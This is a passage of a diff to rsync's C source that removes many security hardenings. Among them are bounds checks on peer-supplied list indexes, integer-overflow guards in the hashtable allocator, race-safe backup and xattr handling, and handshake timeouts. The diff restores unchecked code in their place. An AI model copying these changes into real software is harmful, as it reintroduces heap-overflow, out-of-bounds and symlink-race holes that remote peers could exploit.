cleanup;\n \t\t}\n-\t\tif ((f_copy = do_open_at(backupptr, O_WRONLY | O_CREAT | O_TRUNC | O_EXCL, 0600)) < 0) {\n-\t\t\toperator_path_resolve = 0;\n+\t\tif ((f_copy = do_open(backupptr, O_WRONLY | O_CREAT | O_TRUNC | O_EXCL, 0600)) < 0) {\n \t\t\trsyserr(FERROR_XFER, errno, \"open %s\", full_fname(backupptr));\n \t\t\tunmake_file(back_file);\n \t\t\tback_file = NULL;\n \t\t\tgoto cleanup;\n \t\t}\n-\t\toperator_path_resolve = 0;\n \t\tfnamecmp_type = FNAMECMP_BACKUP;\n \t}\n \n@@ -2458,34 +1964,14 @@ static void recv_generator(char *fname, struct file_struct *file, int ndx,\n \t\tclose(fd);\n \tif (back_file) {\n \t\tint save_preserve_xattrs = preserve_xattrs;\n+\t\tif (f_copy >= 0)\n+\t\t\tclose(f_copy);\n #ifdef SUPPORT_XATTRS\n-\t\t/* The delta-backup path wrote backupptr via the held f_copy, so\n-\t\t * copy its xattrs through that fd here.  The whole-file/inplace\n-\t\t * path (f_copy < 0) backed it up via copy_file(), which already\n-\t\t * copied the xattrs through its own held fd -- don't repeat it\n-\t\t * with a path-based set a parent-symlink race could redirect. */\n-\t\tif (preserve_xattrs && f_copy >= 0) {\n-\t\t\t/* Read fname's xattrs through a confined fd so the copy onto the\n-\t\t\t * held backup fd can't be fed an out-of-module source by a raced\n-\t\t\t * parent symlink; a hardened race skips rather than path-reads. */\n-\t\t\tint bfd = backup_source_fd(fname);\n-\t\t\tif (!backup_metadata_hardened() || bfd >= 0)\n-\t\t\t\tcopy_xattrs(fname, bfd, backupptr, f_copy);\n-\t\t\tif (bfd >= 0)\n-\t\t\t\tclose(bfd);\n+\t\tif (preserve_xattrs) {\n+\t\t\tcopy_xattrs(fname, backupptr);\n \t\t\tpreserve_xattrs = 0;\n \t\t}\n #endif\n-\t\tif (f_copy >= 0)\n-\t\t\tclose(f_copy);\n-\t\t/* backupptr's data/xattrs were written safely (confined create under\n-\t\t * operator_path_resolve, held-fd xattr copy above).  This metadata set\n-\t\t * re-resolves backupptr by path and is NOT wrapped in operator mode:\n-\t\t * set_file_attrs() also drives the path-based xattr set whose held-fd\n-\t\t * race-fix operator mode would defeat (cf. the copy-dest note in\n-\t\t * try_dests_reg).  The static --backup-dir escape is already closed; a\n-\t\t * parent-symlink flipped in after the confined create races only these\n-\t\t * chmod/chown/times -- a documented residual. */\n \t\tset_file_attrs(backupptr, back_file, NULL, NULL, 0);\n \t\tpreserve_xattrs = save_preserve_xattrs;\n \t\tif (INFO_GTE(BACKUP, 1)) {\n@@ -2496,7 +1982,6 @@ static void recv_generator(char *fname, struct file_struct *file, int ndx,\n \t}\n \n \tfree_stat_x(&sx);\n-\tfree_stat_x(&real_sx);\n }\n \n /* If we are replacing an existing hard link, symlink, device, or special file,\n@@ -2531,7 +2016,7 @@ int atomic_create(struct file_struct *file, char *fname, const char *slnk, const\n \n \tif (slnk) {\n #ifdef SUPPORT_LINKS\n-\t\tif (gen_entry_symlink(slnk, create_name, file) < 0) {\n+\t\tif (do_symlink(slnk, create_name) < 0) {\n \t\t\trsyserr(FERROR_XFER, errno, \"symlink %s -> \\\"%s\\\" failed\",\n \t\t\t\tfull_fname(create_name), slnk);\n \t\t\treturn 0;\n@@ -2547,33 +2032,22 @@ int atomic_create(struct file_struct *file, char *fname, const char *slnk, const\n \t\treturn 0;\n #endif\n \t} else {\n-\t\tif (gen_entry_mknod(create_name, file, file->mode, rdev) < 0) {\n-\t\t\tint e = errno;\n-\t\t\t/* A nested socket can't be created race-safely where there is no\n-\t\t\t * bindat() (the BSDs, macOS, Solaris): syscall.c returns EOPNOTSUPP\n-\t\t\t * rather than re-resolving an unsafe parent.  A socket inode is only\n-\t\t\t * a placeholder -- a live socket isn't usefully transferred -- so\n-\t\t\t * skip it with a warning instead of failing the whole transfer\n-\t\t\t * (got_xfer_error -> exit 23).  Top-level sockets still create via\n-\t\t\t * the path-based bind() fallback. */\n-\t\t\tif (S_ISSOCK(file->mode) && (e == EOPNOTSUPP || e == ENOSYS)) {\n-\t\t\t\trprintf(FWARNING, \"skipping socket (creation unsupported here): %s\\n\",\n-\t\t\t\t\tfull_fname(create_name));\n-\t\t\t\treturn 0;\n-\t\t\t}\n-\t\t\trsyserr(FERROR_XFER, e, \"mknod %s failed\",\n+\t\tif (do_mknod(create_name, file->mode, rdev) < 0) {\n+\t\t\trsyserr(FERROR_XFER, errno, \"mknod %s failed\",\n \t\t\t\tfull_fname(create_name));\n \t\t\treturn 0;\n \t\t}\n \t}\n \n \tif (!skip_atomic) {\n-\t\tif (gen_entry_rename(tmpname, fname, file) < 0) {\n+\t\tif (do_rename(tmpname, fname) < 0) {\n \t\t\tchar *full_tmpname = strdup(full_fname(tmpname));\n+\t\t\tif (full_tmpname == NULL)\n+\t\t\t\tout_of_memory(\"atomic_create\");\n \t\t\trsyserr(FERROR_XFER, errno, \"rename %s -> \\\"%s\\\" failed\",\n \t\t\t\tfull_tmpname, full_fname(fname));\n \t\t\tfree(full_tmpname);\n-\t\t\tgen_entry_unlink(tmpname, file);\n+\t\t\tdo_unlink(tmpname);\n \t\t\treturn 0;\n \t\t}\n \t}\n@@ -2595,10 +2069,7 @@ static void handle_skipped_hlink(struct file_struct *file, int itemizing,\n \t\treturn;\n \n \tfile = cur_flist->files[new_last_ndx - cur_flist->ndx_start];\n-\tif (file->flags & FLAG_HLINK_WAIT) {\n-\t\tfile->flags &= ~FLAG_HLINK_WAIT;\n-\t\tcur_flist->in_progress--; /* undo prior increment */\n-\t}\n+\tcur_flist->in_progress--; /* undo prior increment */\n \tf_name(file, fbuf);\n \trecv_generator(fbuf, file, new_last_ndx, itemizing, code, f_out);\n \n@@ -2640,15 +2111,15 @@ static void touch_up_dirs(struct file_list *flist, int ndx)\n \t\t\tcontinue;\n \t\tfname = f_name(file, NULL);\n \t\tif (fix_dir_perms)\n-\t\t\tgen_entry_chmod(fname, file, file->mode);\n+\t\t\tdo_chmod(fname, file->mode);\n \t\tif (need_retouch_dir_times) {\n \t\t\tSTRUCT_STAT st;\n-\t\t\tif (gen_entry_stat(fname, file, &st, 0) == 0 && mtime_differs(&st, file)) {\n+\t\t\tif (link_stat(fname, &st, 0) == 0 && mtime_differs(&st, file)) {\n \t\t\t\tst.st_mtime = file->modtime;\n #ifdef ST_MTIME_NSEC\n \t\t\t\tst.ST_MTIME_NSEC = F_MOD_NSEC_or_0(file);\n #endif\n-\t\t\t\tgen_entry_set_times(fname, file, &st);\n+\t\t\t\tset_times(fname, &st);\n \t\t\t}\n \t\t}\n \t\tif (counter >= loopchk_limit) {\n@@ -2675,8 +2146,6 @@ void check_for_finished_files(int itemizing, enum logcode code, int check_redo)\n \t\t\tif (send_failed)\n \t\t\t\tndx = get_hlink_num();\n \t\t\tflist = flist_for_ndx(ndx, \"check_for_finished_files.1\");\n-\t\t\tif (ndx < flist->ndx_start)\n-\t\t\t\texit_cleanup(RERR_PROTOCOL);\n \t\t\tfile = flist->files[ndx - flist->ndx_start];\n \t\t\tassert(file->flags & FLAG_HLINKED);\n \t\t\tif (send_failed)\n@@ -2705,8 +2174,6 @@ void check_for_finished_files(int itemizing, enum logcode code, int check_redo)\n \n \t\t\tflist = cur_flist;\n \t\t\tcur_flist = flist_for_ndx(ndx, \"check_for_finished_files.2\");\n-\t\t\tif (ndx < cur_flist->ndx_start)\n-\t\t\t\texit_cleanup(RERR_PROTOCOL);\n \n \t\t\tfile = cur_flist->files[ndx - cur_flist->ndx_start];\n \t\t\tif (solo_file)\n@@ -2749,54 +2216,13 @@ void check_for_finished_files(int itemizing, enum logcode code, int check_redo)\n \n \t\tif (delete_during == 2 || !dir_tweaking) {\n \t\t\t/* Skip directory touch-up. */\n-\t\t} else if (first_flist->parent_ndx >= 0\n-\t\t\t&& first_flist->parent_ndx < dir_flist->used)\n+\t\t} else if (first_flist->parent_ndx >= 0)\n \t\t\ttouch_up_dirs(dir_flist, first_flist->parent_ndx);\n \n \t\tflist_free(first_flist); /* updates first_flist */\n \t}\n }\n \n-/* Create the symlinks deferred by recv_generator(), then itemize and log each\n- * one as recv_generator() would have.  We re-stat each destination because the\n- * transfer may have changed what's there.  A link that can't be created is\n- * reported as an error and not itemized. */\n-static void create_deferred_symlinks(void)\n-{\n-#ifdef SUPPORT_LINKS\n-\tstruct deferred_symlink *ds = deferred_symlinks.items;\n-\tsize_t i;\n-\n-\tfor (i = 0; i < deferred_symlinks.count; i++) {\n-\t\tstruct file_struct *file = ds[i].file;\n-\t\t/* atomic_create() can delete a directory in the way, which builds\n-\t\t * its entries' paths in this buffer, so it must be MAXPATHLEN. */\n-\t\tchar fname[MAXPATHLEN];\n-\t\tstat_x sx;\n-\t\tint statret;\n-\n-\t\tstrlcpy(fname, ds[i].fname, sizeof fname);\n-\t\tfree(ds[i].fname);\n-\t\tinit_stat_x(&sx);\n-\t\tstatret = gen_entry_stat(fname, file, &sx.st, 0);\n-\t\tif (atomic_create(file, fname, F_SYMLINK(file), NULL, MAKEDEV(0, 0),\n-\t\t\t\t  &sx, statret == 0 ? DEL_FOR_SYMLINK : 0)) {\n-\t\t\tset_file_attrs(fname, file, NULL, NULL, 0);\n-\t\t\tif (ds[i].itemizing) {\n-\t\t\t\tif (statret == 0 && !S_ISLNK(sx.st.st_mode))\n-\t\t\t\t\tstatret = -1;\n-\t\t\t\titemize(fname, file, ds[i].ndx, statret, &sx,\n-\t\t\t\t\tITEM_LOCAL_CHANGE|ITEM_REPORT_CHANGE, 0, NULL);\n-\t\t\t}\n-\t\t\tif (ds[i].code != FNONE && INFO_GTE(NAME, 1))\n-\t\t\t\trprintf(ds[i].code, \"%s -> %s\\n\", fname, F_SYMLINK(file));\n-\t\t}\n-\t\tfree_stat_x(&sx);\n-\t}\n-\tdeferred_symlinks.count = 0;\n-#endif\n-}\n-\n void generate_files(int f_out, const char *local_name)\n {\n \tint i, ndx, next_loopchk = 0;\n@@ -2830,8 +2256,6 @@ void generate_files(int f_out, const char *local_name)\n \tsymlink_timeset_failed_flags = ITEM_REPORT_TIME\n \t    | (protocol_version >= 30 || !am_server ? ITEM_REPORT_TIMEFAIL : 0);\n \timplied_dirs_are_missing = relative_paths && !implied_dirs && protocol_version < 30;\n-\t/* A dry run creates nothing, so its symlinks take the normal path. */\n-\tdefer_symlinks = delay_symlinks && !dry_run;\n \n \tif (DEBUG_GTE(GENR, 1))\n \t\trprintf(FINFO, \"generator starting pid=%d\\n\", (int)getpid());\n@@ -2863,8 +2287,7 @@ void generate_files(int f_out, const char *local_name)\n \t\t}\n #endif\n \n-\t\tif (inc_recurse && cur_flist->parent_ndx >= 0\n-\t\t && cur_flist->parent_ndx < dir_flist->used) {\n+\t\tif (inc_recurse && cur_flist->parent_ndx >= 0) {\n \t\t\tstruct file_struct *fp = dir_flist->files[cur_flist->parent_ndx];\n \t\t\tif (solo_file)\n \t\t\t\tstrlcpy(fbuf, solo_file, sizeof fbuf);\n@@ -2951,7 +2374,7 @@ void generate_files(int f_out, const char *local_name)\n \t\twrite_ndx(f_out, NDX_DONE);\n \n \tif (protocol_version >= 31 && EARLY_DELETE_DONE_MSG()) {\n-\t\tif (delete_mode || force_delete || read_batch)\n+\t\tif ((INFO_GTE(STATS, 2) && (delete_mode || force_delete)) || read_batch)\n \t\t\twrite_del_stats(f_out);\n \t\tif (EARLY_DELAY_DONE_MSG()) /* Can't send this before delay */\n \t\t\twrite_ndx(f_out, NDX_DONE);\n@@ -2965,12 +2388,6 @@ void generate_files(int f_out, const char *local_name)\n \t\twait_for_receiver();\n \t}\n \n-\t/* The receiver has now put every file into place, including any\n-\t * --delay-updates renames, and the sender is still reading the itemized\n-\t * output, so the deferred symlinks can be created and reported. */\n-\tif (defer_symlinks)\n-\t\tcreate_deferred_symlinks();\n-\n \tif (protocol_version >= 29) {\n \t\tphase++;\n \t\tif (DEBUG_GTE(GENR, 1))\n@@ -2995,14 +2412,14 @@ void generate_files(int f_out, const char *local_name)\n \n \tif (max_delete >= 0 && skipped_deletes) {\n \t\trprintf(FWARNING,\n-\t\t\t\"Deletions stopped due to --max-delete limit (%s skipped)\\n\",\n-\t\t\tcomma_num(skipped_deletes));\n+\t\t\t\"Deletions stopped due to --max-delete limit (%d skipped)\\n\",\n+\t\t\tskipped_deletes);\n \t\tio_error |= IOERR_DEL_LIMIT;\n \t}\n \n \tif (protocol_version >= 31) {\n \t\tif (!EARLY_DELETE_DONE_MSG()) {\n-\t\t\tif (delete_mode || force_delete || read_batch)\n+\t\t\tif (INFO_GTE(STATS, 2) || read_batch)\n \t\t\t\twrite_del_stats(f_out);\n \t\t\twrite_ndx(f_out, NDX_DONE);\n \t\t}\ndiff --git a/getgroups.c b/getgroups.c\nindex 6b83d45..8a37ed0 100644\n--- a/getgroups.c\n+++ b/getgroups.c\n@@ -57,6 +57,5 @@\n \t\tprintf(\"%lu\", (unsigned long)gid);\n \tprintf(\"\\n\");\n \n-\tfree(list);\n \treturn 0;\n }\ndiff --git a/hashtable.c b/hashtable.c\nindex e796fad..2cc4e55 100644\n--- a/hashtable.c\n+++ b/hashtable.c\n@@ -19,7 +19,7 @@\n \n #include \"rsync.h\"\n \n-#define HASH_LOAD_LIMIT(size) ((size)/4*3)\t/* /4 first: never overflows int */\n+#define HASH_LOAD_LIMIT(size) ((size)*3/4)\n \n struct hashtable *hashtable_create(int size, int key64)\n {\n@@ -28,25 +28,15 @@ struct hashtable *hashtable_create(int size, int key64)\n \tint node_size = key64 ? sizeof (struct ht_int64_node)\n \t\t\t      : sizeof (struct ht_int32_node);\n \n-\t/* Pick a power of 2 that can hold the requested size.  Test size < 16 first\n-\t * so a negative/zero req short-circuits before the size-1 (INT_MIN is UB). */\n-\tif (size < 16 || (size & (size-1))) {\n+\t/* Pick a power of 2 that can hold the requested size. */\n+\tif (size & (size-1) || size < 16) {\n \t\tsize = 16;\n-\t\twhile (size < req) {\n-\t\t\tif (size > INT_MAX/2) {\t/* the next doubling would overflow int */\n-\t\t\t\trprintf(FERROR, \"[%s] hashtable_create: requested size %d is too large\\n\",\n-\t\t\t\t\twho_am_i(), req);\n-\t\t\t\texit_cleanup(RERR_MALLOC);\n-\t\t\t}\n+\t\twhile (size < req)\n \t\t\tsize *= 2;\n-\t\t}\n \t}\n \n \ttbl = new(struct hashtable);\n-\t/* Pass size and node_size as SEPARATE factors so my_alloc's overflow /\n-\t * --max-alloc guard sees both; computing size*node_size as int would wrap to\n-\t * a tiny count and under-allocate (heap overflow on later node access). */\n-\ttbl->nodes = my_alloc(do_calloc, size, node_size, __FILE__, __LINE__);\n+\ttbl->nodes = new_array0(char, size * node_size);\n \ttbl->size = size;\n \ttbl->entries = 0;\n \ttbl->node_size = node_size;\n@@ -100,15 +90,10 @@ void *hashtable_find(struct hashtable *tbl, int64 key, void *data_when_new)\n \n \tif (data_when_new && tbl->entries > HASH_LOAD_LIMIT(tbl->size)) {\n \t\tvoid *old_nodes = tbl->nodes;\n-\t\tint size, i;\n+\t\tint size = tbl->size * 2;\n+\t\tint i;\n \n-\t\tif (tbl->size > INT_MAX/2) {\t/* doubling would overflow int */\n-\t\t\trprintf(FERROR, \"[%s] hashtable grow: size overflow\\n\", who_am_i());\n-\t\t\texit_cleanup(RERR_MALLOC);\n-\t\t}\n-\t\tsize = tbl->size * 2;\n-\t\t/* Separate factors so my_alloc's guard sees both (see hashtable_create). */\n-\t\ttbl->nodes = my_alloc(do_calloc, size, tbl->node_size, __FILE__, __LINE__);\n+\t\ttbl->nodes = new_array0(char, size * tbl->node_size);\n \t\ttbl->size = size;\n \t\ttbl->entries = 0;\n \n@@ -135,7 +120,7 @@ void *hashtable_find(struct hashtable *tbl, int64 key, void *data_when_new)\n \n \tif (!key64) {\n \t\t/* Based on Jenkins One-at-a-time hash. */\n-\t\tuchar buf[4] = {0}, *keyp = buf; /* {0} only to satisfy the analyzer (SIVALu fills buf) */\n+\t\tuchar buf[4], *keyp = buf;\n \t\tint i;\n \n \t\tSIVALu(buf, 0, key);\n@@ -366,7 +351,7 @@ void *hashtable_find(struct hashtable *tbl, int64 key, void *data_when_new)\n */\n \n #define NON_ZERO_32(x) ((x) ? (x) : (uint32_t)1)\n-#define NON_ZERO_64(x, y) ((x) || (y) ? (y) | (uint64_t)(x) << 32 | (y) : (int64)1)\n+#define NON_ZERO_64(x, y) ((x) || (y) ? (y) | (int64)(x) << 32 | (y) : (int64)1)\n \n uint32_t hashlittle(const void *key, size_t length)\n {\ndiff --git a/hlink.c b/hlink.c\nindex 0c05555..2c14407 100644\n--- a/hlink.c\n+++ b/hlink.c\n@@ -125,22 +125,8 @@ static void match_gnums(int32 *ndx_list, int ndx_count)\n \t\tif (inc_recurse) {\n \t\t\tnode = hashtable_find(prior_hlinks, gnum, data_when_new);\n \t\t\tif (node->data == data_when_new) {\n-\t\t\t\tif (gnum < hlink_flist->ndx_start) {\n-\t\t\t\t\t/* A non-first hard-link entry whose\n-\t\t\t\t\t * gnum points before this flist's\n-\t\t\t\t\t * ndx_start should already have been\n-\t\t\t\t\t * recorded in prior_hlinks by an\n-\t\t\t\t\t * earlier flist.  A peer that sends\n-\t\t\t\t\t * such a back-reference on the first\n-\t\t\t\t\t * flist (or to a gnum that was never\n-\t\t\t\t\t * declared XMIT_HLINK_FIRST) is\n-\t\t\t\t\t * misbehaving. */\n-\t\t\t\t\trprintf(FERROR,\n-\t\t\t\t\t    \"hard-link gnum %d precedes flist start %d\\n\",\n-\t\t\t\t\t    (int)gnum, (int)hlink_flist->ndx_start);\n-\t\t\t\t\texit_cleanup(RERR_PROTOCOL);\n-\t\t\t\t}\n \t\t\t\tnode->data = new_array0(char, 5);\n+\t\t\t\tassert(gnum >= hlink_flist->ndx_start);\n \t\t\t\tfile->flags |= FLAG_HLINK_FIRST;\n \t\t\t\tprev = -1;\n \t\t\t} else if (CVAL(node->data, 0) == 0) {\n@@ -278,13 +264,6 @@ static char *check_prior(struct file_struct *file, int gnum,\n \t\tF_HL_PREV(file) = prev_ndx = F_HL_PREV(fp);\n \t}\n \n-\tif (prev_ndx >= 0) {\n-\t\t/* The prior member is no longer in a live file-list, which\n-\t\t * only happens once all of its files have completed: cut the\n-\t\t * stale index instead of retaining it. */\n-\t\tF_HL_PREV(file) = -1;\n-\t}\n-\n \tif (inc_recurse\n \t && (node = hashtable_find(prior_hlinks, gnum, NULL)) != NULL) {\n \t\tassert(node->data != NULL);\n@@ -339,16 +318,9 @@ int hard_link_check(struct file_struct *file, int ndx, char *fname,\n \t\t\t\t/* Add ourselves to the list of files that will\n \t\t\t\t * be updated when the transfer completes, and\n \t\t\t\t * mark ourself as waiting for the transfer. */\n-\t\t\t\tif (F_HL_PREV(prev_file) >= 0\n-\t\t\t\t && flist_for_ndx(F_HL_PREV(prev_file), NULL))\n-\t\t\t\t\tF_HL_PREV(file) = F_HL_PREV(prev_file);\n-\t\t\t\telse\n-\t\t\t\t\t/* prev_file's prior member (if any) is\n-\t\t\t\t\t * already finished: cut the chain here. */\n-\t\t\t\t\tF_HL_PREV(file) = -1;\n+\t\t\t\tF_HL_PREV(file) = F_HL_PREV(prev_file);\n \t\t\t\tF_HL_PREV(prev_file) = ndx;\n \t\t\t\tfile->flags |= FLAG_FILE_SENT;\n-\t\t\t\tfile->flags |= FLAG_HLINK_WAIT;\n \t\t\t\tcur_flist->in_progress++;\n \t\t\t\tif (DEBUG_GTE(HLINK, 2)) {\n \t\t\t\t\trprintf(FINFO, \"hlink for %d (%s,%d): waiting for %d\\n\",\n@@ -434,14 +406,7 @@ int hard_link_check(struct file_struct *file, int ndx, char *fname,\n \t\t\t\t}\n \t\t\t\tbreak;\n \t\t\t}\n-\t\t\t/* Content-based basis match only applies to regular\n-\t\t\t * files: for a hard-linked symlink/device/special the\n-\t\t\t * exact-inode check above is the only meaningful test,\n-\t\t\t * and quick_check_ok(FT_REG, ...) would read F_SUM()\n-\t\t\t * on a file_struct that has no SUM_EXTRA_CNT space\n-\t\t\t * (recv_file_entry only allocates it for S_ISREG). */\n-\t\t\tif (!S_ISREG(file->mode)\n-\t\t\t || !quick_check_ok(FT_REG, cmpbuf, file, &alt_sx.st))\n+\t\t\tif (!quick_check_ok(FT_REG, cmpbuf, file, &alt_sx.st))\n \t\t\t\tcontinue;\n \t\t\tstatret = 1;\n \t\t\tif (unchanged_attrs(cmpbuf, file, &alt_sx))\n@@ -465,7 +430,7 @@ int hard_link_check(struct file_struct *file, int ndx, char *fname,\n \t\t\tif (preserve_xattrs) {\n \t\t\t\tfree_xattr(sxp);\n \t\t\t\tif (!XATTR_READY(alt_sx))\n-\t\t\t\t\tget_xattr(cmpbuf, -1, sxp);\n+\t\t\t\t\tget_xattr(cmpbuf, sxp);\n \t\t\t\telse {\n \t\t\t\t\tsxp->xattr = alt_sx.xattr;\n \t\t\t\t\talt_sx.xattr = NULL;\n@@ -478,7 +443,7 @@ int hard_link_check(struct file_struct *file, int ndx, char *fname,\n \n \tif (maybe_hard_link(file, ndx, fname, statret, sxp, prev_name, &prev_st,\n \t\t\t    realname, itemizing, code) < 0)\n-\t\treturn 0;\n+\t\treturn -1;\n \n \tif (remove_source_files == 1 && do_xfers)\n \t\tsend_msg_success(fname, ndx);\n@@ -489,7 +454,7 @@ int hard_link_check(struct file_struct *file, int ndx, char *fname,\n int hard_link_one(struct file_struct *file, const char *fname,\n \t\t  const char *oldname, int terse)\n {\n-\tif (do_link_at(oldname, fname) < 0) {\n+\tif (do_link(oldname, fname) < 0) {\n \t\tenum logcode code;\n \t\tif (terse) {\n \t\t\tif (!INFO_GTE(NAME, 1))\n@@ -541,16 +506,7 @@ void finish_hard_link(struct file_struct *file, const char *fname, int fin_ndx,\n \n \twhile ((ndx = prev_ndx) >= 0) {\n \t\tint val;\n-\t\tflist = flist_for_ndx(ndx, NULL);\n-\t\tif (!flist) {\n-\t\t\t/* The list holding an earlier member was released, which\n-\t\t\t * only happens once all of its files have completed, so\n-\t\t\t * everything from here on is already finished and there\n-\t\t\t * is nothing left to re-link.  Stale indexes are cut in\n-\t\t\t * check_prior() and in the FLAG_HLINK_WAIT re-point;\n-\t\t\t * stop the walk here rather than aborting. */\n-\t\t\tbreak;\n-\t\t}\n+\t\tflist = flist_for_ndx(ndx, \"finish_hard_link\");\n \t\tfile = flist->files[ndx - flist->ndx_start];\n \t\tfile->flags = (file->flags & ~FLAG_HLINK_FIRST) | FLAG_HLINK_DONE;\n \t\tprev_ndx = F_HL_PREV(file);\n@@ -558,10 +514,7 @@ void finish_hard_link(struct file_struct *file, const char *fname, int fin_ndx,\n \t\tprev_statret = link_stat(f_name(file, prev_name), &prev_sx.st, 0);\n \t\tval = maybe_hard_link(file, ndx, prev_name, prev_statret, &prev_sx,\n \t\t\t\t      our_name, stp, fname, itemizing, code);\n-\t\tif (file->flags & FLAG_HLINK_WAIT) {\n-\t\t\tfile->flags &= ~FLAG_HLINK_WAIT;\n-\t\t\tflist->in_progress--;\n-\t\t}\n+\t\tflist->in_progress--;\n \t\tfree_stat_x(&prev_sx);\n \t\tif (val < 0)\n \t\t\tcontinue;\n@@ -581,17 +534,9 @@ void finish_hard_link(struct file_struct *file, const char *fname, int fin_ndx,\n \t\t\texit_cleanup(RERR_MESSAGEIO);\n \t\t}\n \t\tif (CVAL(node->data, 0) != 0) {\n-\t\t\t/* An earlier member of this group already finished and\n-\t\t\t * recorded its path as the group's root.  That member\n-\t\t\t * could not be hard-linked to the original root (e.g.\n-\t\t\t * EMLINK or EXDEV), so it was written as a regular\n-\t\t\t * file: it, not the stale root, is the only inode this\n-\t\t\t * group can still link to.  Re-root the group here so\n-\t\t\t * that later members link to this live file.\n-\t\t\t * (Upstream: RsyncProject/rsync#741.) */\n-\t\t\trprintf(FINFO,\n-\t\t\t\t\"hlink: group %d already finished at %s; re-rooting at %s (%s)\\n\",\n-\t\t\t\tgnum, (char*)node->data, our_name, f_name(file, prev_name));\n+\t\t\trprintf(FERROR, \"Hlink node data for %d already has path=%s (%s)\\n\",\n+\t\t\t\tgnum, (char*)node->data, f_name(file, prev_name));\n+\t\t\texit_cleanup(RERR_MESSAGEIO);\n \t\t}\n \t\tfree(node->data);\n \t\tnode->data = strdup(our_name);\ndiff --git a/io.c b/io.c\nindex 7fbd5a6..bb60eec 100644\n--- a/io.c\n+++ b/io.c\n@@ -31,15 +31,7 @@\n #include \"ifuncs.h\"\n #include \"inums.h\"\n \n-#include <poll.h>\n-\n-/* Readiness bits we act on.  poll() can report POLLERR/POLLHUP/POLLNVAL even\n- * when they were not requested, and POLLPRI stands in for select()'s old\n- * exception set. */\n-#define POLL_RD_BITS (POLLIN | POLLPRI | POLLERR | POLLHUP)\n-#define POLL_WR_BITS (POLLOUT | POLLERR | POLLHUP)\n-\n-/** If no timeout is specified then use a 60 second I/O timeout */\n+/** If no timeout is specified then use a 60 second select timeout */\n #define SELECT_TIMEOUT 60\n \n extern int bwlimit;\n@@ -67,7 +59,6 @@ extern int xfer_sum_len;\n extern int daemon_connection;\n extern int protocol_version;\n extern int remove_source_files;\n-extern int write_batch;\n extern int preserve_hard_links;\n extern BOOL extra_flist_sending_enabled;\n extern BOOL flush_ok_after_signal;\n@@ -88,7 +79,6 @@ BOOL flist_receiving_enabled = False;\n /* Ignore an EOF error if non-zero. See whine_about_eof(). */\n int kluge_around_eof = 0;\n int got_kill_signal = -1; /* is set to 0 only after multiplexed I/O starts */\n-volatile sig_atomic_t got_sigusr2 = 0; /* set by the async-signal-safe SIGUSR2 handler */\n \n int sock_f_in = -1;\n int sock_f_out = -1;\n@@ -112,18 +102,6 @@ static struct {\n static time_t last_io_in;\n static time_t last_io_out;\n \n-/* Absolute wall-clock bound for peer-controlled daemon handshake reads.\n- * This is deliberately separate from io_timeout: the latter is an idle\n- * transfer timeout and may be supplied by the module or client. */\n-static time_t daemon_handshake_deadline;\n-\n-/* Wall-clock bound the client puts on establishing a daemon connection made\n- * through a remote shell (daemon_connection == 1): spawning the helper, its\n- * connect()/TLS handshake, and the exchange of the daemon greeting all happen\n- * before any buffered I/O begins, so --contimeout can time the whole phase the\n- * same way the socket path times its connect(). */\n-static time_t client_connect_deadline;\n-\n static int write_batch_monitor_in = -1;\n static int write_batch_monitor_out = -1;\n \n@@ -135,54 +113,11 @@ static xbuf ff_xb = EMPTY_XBUF;\n static xbuf iconv_buf = EMPTY_XBUF;\n #endif\n static int select_timeout = SELECT_TIMEOUT;\n-\n-/* Turn select_timeout (in seconds) into a poll() millisecond count, keeping it\n- * positive and bounded.  A negative count means \"wait forever\" to poll(), which\n- * would bypass our keepalives and timeout enforcement entirely. */\n-static int poll_timeout_ms(void)\n-{\n-\tint secs = select_timeout;\n-\n-\tif (secs <= 0 || secs > SELECT_TIMEOUT)\n-\t\tsecs = SELECT_TIMEOUT;\n-\treturn secs * 1000;\n-}\n-\n-static int handshake_poll_timeout_ms(void)\n-{\n-\ttime_t now, left;\n-\tint timeout = poll_timeout_ms();\n-\n-\tif (!daemon_handshake_deadline && !client_connect_deadline)\n-\t\treturn timeout;\n-\n-\tnow = time(NULL);\n-\tif (daemon_handshake_deadline) {\n-\t\tleft = daemon_handshake_deadline - now;\n-\t\tif (left <= 0) {\n-\t\t\trprintf(FERROR, \"[%s] daemon handshake timeout -- exiting\\n\", who_am_i());\n-\t\t\texit_cleanup(RERR_TIMEOUT);\n-\t\t}\n-\t\tif (left <= INT_MAX / 1000 && left * 1000 < timeout)\n-\t\t\ttimeout = (int)left * 1000;\n-\t}\n-\tif (client_connect_deadline) {\n-\t\tleft = client_connect_deadline - now;\n-\t\tif (left <= 0) {\n-\t\t\trprintf(FERROR, \"[%s] connection timed out -- exiting\\n\", who_am_i());\n-\t\t\texit_cleanup(RERR_CONTIMEOUT);\n-\t\t}\n-\t\tif (left <= INT_MAX / 1000 && left * 1000 < timeout)\n-\t\t\ttimeout = (int)left * 1000;\n-\t}\n-\treturn timeout;\n-}\n-\n static int active_filecnt = 0;\n static OFF_T active_bytecnt = 0;\n static int first_message = 1;\n \n-static const char int_byte_extra[64] = {\n+static char int_byte_extra[64] = {\n \t0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, /* (00 - 3F)/4 */\n \t0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, /* (40 - 7F)/4 */\n \t1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, /* (80 - BF)/4 */\n@@ -285,15 +220,9 @@ static NORETURN void whine_about_eof(BOOL allow_kluge)\n \t\tint i;\n \t\tif (kluge_around_eof > 0)\n \t\t\texit_cleanup(0);\n-\t\t/* The receiver is waiting here for the generator's SIGUSR2; act on it\n-\t\t * (exit cleanly) the moment it arrives rather than sleeping the full\n-\t\t * 10s and then erroring.  The async-signal-safe handler only sets the\n-\t\t * flag, so this loop must poll it. */\n-\t\tfor (i = 10*1000/20; i--; ) {\n-\t\t\tif (got_sigusr2)\n-\t\t\t\treceive_sigusr2();\n+\t\t/* If we're still here after 10 seconds, exit with an error. */\n+\t\tfor (i = 10*1000/20; i--; )\n \t\t\tmsleep(20);\n-\t\t}\n \t}\n \n \trprintf(FERROR, RSYNC_NAME \": connection unexpectedly closed \"\n@@ -314,35 +243,31 @@ static size_t safe_read(int fd, char *buf, size_t len)\n \tassert(fd != iobuf.in_fd);\n \n \twhile (1) {\n-\t\tstruct pollfd pfd;\n+\t\tstruct timeval tv;\n+\t\tfd_set r_fds, e_fds;\n \t\tint cnt;\n \n-\t\tif (got_sigusr2)\t/* receiver told to wrap up (e.g. a --read-batch fd) */\n-\t\t\treceive_sigusr2();\n-\n-\t\t/* We use poll() rather than select() 